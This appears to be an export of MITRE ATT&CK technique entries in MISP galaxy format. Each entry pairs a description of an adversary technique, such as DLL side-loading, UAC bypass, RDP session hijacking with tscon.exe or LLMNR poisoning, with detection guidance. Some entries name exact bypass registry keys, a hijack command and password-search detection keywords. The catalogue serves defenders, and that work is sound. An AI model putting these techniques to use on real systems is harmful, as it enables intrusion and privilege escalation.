Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)

Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.

Detection: Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.

Platforms: Windows

Data Sources: Process use of network, Process monitoring, Loaded DLLs

Defense Bypassed: Anti-virus, Process whitelisting

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="DLL Side-Loading - T1073"*

Table 1954. Table References

Links
https://attack.mitre.org/wiki/Technique/T1073
https://msdn.microsoft.com/en-us/library/aa375365
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf

Automated Exfiltration - T1020

Data, such as sensitive documents, may be exfiltrated through the use of automated processing or Scripting after being gathered during Collection.

When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.

Detection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Process monitoring, Process use of network

Requires Network: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Automated Exfiltration - T1020"*

Table 1955. Table References

Links
https://attack.mitre.org/wiki/Technique/T1020

Network Service Scanning - T1046

Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.

Platforms: Linux, macOS, Windows

Data Sources: Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process use of network

Permissions Required: User, Administrator, SYSTEM

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Network Service Scanning - T1046"*

Table 1956. Table References

Links
https://attack.mitre.org/wiki/Technique/T1046

Replication Through Removable Media - T1091

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media’s firmware itself.

Detection: Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.

Platforms: Windows

Data Sources: File monitoring, Data loss prevention

Permissions Required: User

System Requirements: Removable media allowed, Autorun enabled or vulnerability present that allows for code execution

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Replication Through Removable Media - T1091"*

Table 1957. Table References

Links
https://attack.mitre.org/wiki/Technique/T1091

Remote Desktop Protocol - T1076

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS.

Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence. (Citation: Alperovitch Malware)

Adversaries may also perform RDP session hijacking which involves stealing a legitimate user’s remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, <code>c:\windows\system32\tscon.exe [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)

Detection: Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.

Also, set up process monitoring for <code>tscon.exe</code> usage and monitor service creation that uses <code>cmd.exe /k</code> or <code>cmd.exe /c</code> in its arguments to prevent RDP session hijacking.

Platforms: Windows

Data Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring

Permissions Required: User, Remote Desktop Users

System Requirements: RDP service enabled, account in the Remote Desktop Users group.

Contributors: Matthew Demaske, Adaptforward

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote Desktop Protocol - T1076"*

Table 1958. Table References

Links

https://attack.mitre.org/wiki/Technique/T1076
https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx
http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/
http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html
https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
https://github.com/nccgroup/redsnarf

Scheduled Transfer - T1029

Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.

When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.

Detection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.

Platforms: Linux, macOS, Windows

Data Sources: Netflow/Enclave netflow, Process use of network, Process monitoring

Requires Network: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Scheduled Transfer - T1029"*

Table 1959. Table References

Links
https://attack.mitre.org/wiki/Technique/T1029

Bypass User Account Control - T1088

Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation:

MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.

Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

- <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)

Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)

Detection: There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of Process Injection and unusual loaded DLLs through DLL Search Order Hijacking, which indicate attempts to gain access to higher privileged processes.

Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:

- The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command</code> Registry key. (Citation: enigma0x3 Fileless UAC Bypass)
- The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe</code> and <code>[HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand</code> Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)

Analysts should monitor these Registry settings for unauthorized changes.

Platforms: Windows

Data Sources: System calls, Process monitoring, Authentication logs, Process command-line parameters

Effective Permissions: Administrator

Defense Bypassed: Windows User Account Control

Permissions Required: User, Administrator

Contributors: Stefan Kanthak, Casey Smith

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Bypass User Account Control - T1088"*

Table 1960. Table References

Links
https://attack.mitre.org/wiki/Technique/T1088
https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works
https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx
https://msdn.microsoft.com/en-us/library/ms679687.aspx
http://www.pretentiousname.com/misc/win7%20uac%20whitelist2.html
https://github.com/hfiref0x/UACME
https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware
http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass
https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/

Exploit Public-Facing Application - T1190

The use of software, data, or commands to take advantage of a weakness in an Internet-facing computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL) (Citation: NVD CVE-2016-6662), standard services (like SMB (Citation: CIS Multiple SMB Vulnerabilities) or SSH), and any other applications with Internet accessible open sockets, such as web servers and related services. (Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include Exploitation for Defense Evasion.

For websites and databases, the OWASP top 10 gives a good list of the top 10 most common web-based vulnerabilities. (Citation: OWASP Top 10)

Detection: Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.

Platforms: Linux, Windows, macOS

Data Sources: Application logs, Packet capture, Web logs, Web application firewall logs

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Exploit Public-Facing Application - T1190"*

Table 1961. Table References

Links
https://attack.mitre.org/wiki/Technique/T1190
https://nvd.nist.gov/vuln/detail/CVE-2016-6662
https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/
https://nvd.nist.gov/vuln/detail/CVE-2014-7169
https://www.owasp.org/index.php/Category:OWASP%20Top%20Ten%20Project

Logon Scripts - T1037

===Windows===

Windows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.

If adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

===Mac===

Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.

Detection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.

Platforms: macOS, Windows

Data Sources: File monitoring, Process monitoring

System Requirements: Write access to system or domain logon scripts

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Logon Scripts - T1037"*

Table 1962. Table References

Links
https://attack.mitre.org/wiki/Technique/T1037
https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx

https://support.apple.com/de-at/HT2420

Connection Proxy - T1090

A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools)

The definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.

The network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.

Detection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.

Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

Platforms: Linux, macOS, Windows

Data Sources: Process use of network, Process monitoring, Netflow/Enclave netflow, Packet capture

Requires Network: Yes

Contributors: Walker Johnson

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Connection Proxy - T1090"*

Table 1963. Table References

Links
https://attack.mitre.org/wiki/Technique/T1090
http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Regsvr32 - T1117

Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)

Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.

Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016)

Detection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)

Platforms: Windows

Data Sources: Loaded DLLs, Process monitoring, Process command-line parameters, Windows Registry

Defense Bypassed: Process whitelisting, Anti-virus

Permissions Required: User, Administrator

Remote Support: No

Contributors: Casey Smith

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Regsvr32 - T1117"*

Table 1964. Table References

Links
https://attack.mitre.org/wiki/Technique/T1117
https://support.microsoft.com/en-us/kb/249873
https://www.fireeye.com/blog/threat-research/2017/02/spear%20phishing%20techn.html

https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/

File and Directory Discovery - T1083

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.

===Windows===

Example utilities used to obtain this information are <code>dir</code> and <code>tree</code>. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API.

===Mac and Linux===

In Mac and Linux, this kind of discovery is accomplished with the <code>ls</code>, <code>find</code>, and <code>locate</code> commands.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.

Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Process command-line parameters, Process monitoring

Permissions Required: User, Administrator, SYSTEM

System Requirements: Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="File and Directory Discovery - T1083"*

Table 1965. Table References

Links
https://attack.mitre.org/wiki/Technique/T1083
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html

Extra Window Memory Injection - T1181

Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)

Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process's memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process's EWM.

Execution granted through EWM injection may take place in the address space of a separate live process. Similar to Process Injection, this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Engame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)

Detection: Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Engame Process Injection July 2017)

Platforms: Windows

Defense Bypassed: Anti-virus, Host intrusion prevention systems, Data Execution Prevention

Permissions Required: Administrator, SYSTEM

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Extra Window Memory Injection - T1181"*

Table 1966. Table References

Links
https://attack.mitre.org/wiki/Technique/T1181
https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx
https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx
https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html

https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/
https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx

Create Account - T1136

Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.

The <code>net user</code> commands can be used to create a local or domain account.

Detection: Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.

Platforms: Linux, macOS, Windows

Data Sources: Process Monitoring, Process command-line parameters, Authentication logs, Windows event logs

Permissions Required: Administrator

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Create Account - T1136"*

Table 1967. Table References

Links
https://attack.mitre.org/wiki/Technique/T1136
https://docs.microsoft.com/windows/device-security/auditing/event-4720

Commonly Used Port - T1043

Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as * TCP:80 (HTTP) * TCP:443 (HTTPS) * TCP:25 (SMTP) * TCP/UDP:53 (DNS)

They may use the protocol associated with the port or a completely different protocol.

For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are * TCP/UDP:135 (RPC) * TCP/UDP:22 (SSH) * TCP/UDP:3389 (RDP)

Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

Platforms: Linux, macOS, Windows

Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring

Requires Network: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Commonly Used Port - T1043"*

Table 1968. Table References

Links
https://attack.mitre.org/wiki/Technique/T1043
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Data Encoding - T1132

Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.

Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

Platforms: Linux, macOS, Windows

Data Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis

Permissions Required: User

Requires Network: Yes

Contributors: Itzik Kotler, SafeBreach

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Encoding - T1132"*

Table 1969. Table References

Links
https://attack.mitre.org/wiki/Technique/T1132
https://en.wikipedia.org/wiki/Binary-to-text%20encoding
https://en.wikipedia.org/wiki/Character%20encoding
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

LLMNR/NBT-NS Poisoning - T1171

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)

Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords.

Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder. (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)

Detection: Monitor <code>HKLM\Software\Policies\Microsoft\Windows NT\DNSClient</code> for changes to the "EnableMulticast" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)

Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.

Deploy an LLMNR/NBT-NS spoofing detection tool. (Citation: GitHub Conveigh)

Platforms: Windows

Data Sources: Windows Registry, Packet capture, Netflow/Enclave netflow

Permissions Required: User

Contributors: Matthew Demaske, Adaptforward

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="LLMNR/NBT-NS Poisoning - T1171"*

Table 1970. Table References

Links
https://attack.mitre.org/wiki/Technique/T1171
https://en.wikipedia.org/wiki/Link-Local%20Multicast%20Name%20Resolution
https://technet.microsoft.com/library/cc958811.aspx
https://github.com/nomex/nbnspoof
https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr%20response
https://github.com/SpiderLabs/Responder

https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning
https://github.com/Kevin-Robertson/Conveigh

Credentials in Files - T1081

Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

It is possible to extract passwords from backups or saved virtual machines through Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)

Detection: While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See Valid Accounts for more information.

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Process command-line parameters

Permissions Required: User, Administrator, SYSTEM

System Requirements: Access to files

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Credentials in Files - T1081"*

Table 1971. Table References

Links
https://attack.mitre.org/wiki/Technique/T1081
http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html
http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx

Spearphishing Link - T1192

Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attachment malicious files to the email itself, to avoid defenses that may inspect email attachments.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons).

Detection: URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.

Because this technique usually involves user interaction on the endpoint, many of the possible detections for Spearphishing Link take place once User Execution occurs.

Platforms: Linux, Windows, macOS

Data Sources: Packet capture, Web proxy, Email gateway, Detonation chamber, SSL/TLS inspection, DNS records, Mail server

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Spearphishing Link - T1192"*

Table 1972. Table References

Links
https://attack.mitre.org/wiki/Technique/T1192

PowerShell - T1086

PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

Administrator permissions are required to use PowerShell to connect to remote systems.

A number of PowerShell-based offensive testing tools are available, including Empire, (Citation: Github PowerShell Empire) PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)

Detection: If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.

It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution. (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.

Platforms: Windows

Data Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring

Permissions Required: User, Administrator

Remote Support: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="PowerShell - T1086"*

Table 1973. Table References

Links
https://attack.mitre.org/wiki/Technique/T1086
https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx
https://github.com/PowerShellEmpire/Empire
https://github.com/mattifestation/PowerSploit
https://github.com/jaredhaight/PSAttack
http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
https://www.fireeye.com/blog/threat-research/2016/02/greater%20visibilityt.html

Security Software Discovery - T1063

Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.

===Windows===

Example commands that can be used to obtain security software information are netsh, <code>reg query</code> with Reg, <code>dir</code> with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.

===Mac===

It’s becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.

Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: macOS, Windows

Data Sources: File monitoring, Process command-line parameters, Process monitoring

Permissions Required: User, Administrator, SYSTEM

